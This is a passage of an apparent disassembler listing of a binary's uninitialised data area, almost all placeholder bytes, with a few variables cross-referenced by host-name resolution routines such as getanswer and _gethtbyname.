? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_80797B5 db ? ; ; DATA XREF: _gethtbyname+3Bo db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079BB8 dd ? ; DATA XREF: _gethtbyname+12o ; _gethtbyname+20w ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079C48 dd ? ; DATA XREF: _gethtbyname+19o ; _gethtbyname+2Aw ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079CD8 dd ? ; DATA XREF: _gethtbyname+20Aw ; _gethtbyname+2D3o dword_8079CDC dd ? ; DATA XREF: _gethtbyname+200w dword_8079CE0 dd ? ; DATA XREF: _gethtbyname+149w dword_8079CE4 dd ? ; DATA XREF: _gethtbyname+151w ; _gethtbyname+244r ... dword_8079CE8 dd ? ; DATA XREF: _gethtbyname+2C9w dword_8079CEC dd ? ; DATA XREF: _gethtbyname+50w ; _gethtbyname+D3w ... dword_8079CF0 dd ? ; DATA XREF: _gethtbyname+5Aw db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_8079D78 db ? ; ; DATA XREF: _gethtbyname+68o ; _gethtbyname+DCo ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079DB8 dd ? ; DATA XREF: _getnishost+14Bw ; _getnishost+1A0o dword_8079DBC dd ? ; DATA XREF: _getnishost+151w dword_8079DC0 dd ? ; DATA XREF: _getnishost+131w dword_8079DC4 dd ? ; DATA XREF: _getnishost+127w dword_8079DC8 dd ? ; DATA XREF: _getnishost+FFw ; _getnishost+11Er dword_8079DCC dd ? ; DATA XREF: _getnishost+76o ; _getnishost+A9o ... dword_8079DD0 dd ? ; DATA XREF: _getnishost+71o ; _getnishost+A4o ... dword_8079DD4 dd ? ; DATA XREF: init_services_resolv+5Cw ; init_services_resolv+1F0w ... dword_8079DD8 dd ? ; DATA XREF: init_services_resolv+66w db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079DE4 dd ? ; DATA XREF: getanswer+11Do ; getanswer+127w ... dword_8079DE8 dd ? ; DATA XREF: sub_804BEB0+4Br ; sub_804BEB0+7Dr ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; unk_8079E6C db ? ; ; DATA XREF: getanswer+574o db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; dword_8079E74 dd ? ; DATA XREF: getanswer+1Fw ; getanswer+E3w ... dword_8079E78 dd ? ; DATA XREF: getanswer+113w ; gethostbyname+59w ... dword_8079E7C dd ? ; DATA XREF: getanswer+4DAo ; getanswer+4E8w ... dword_8079E80 dd ? ; DATA XREF: getanswer+4C5r ; getanswer+4D4w ... dword_8079E84 dd ? ; DATA XREF: getanswer+131w ; gethostbyname+95w ... dword_8079E88 dd ? ; DATA XREF: getanswer+FFo ; getanswer+109w ... db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? ; db ? 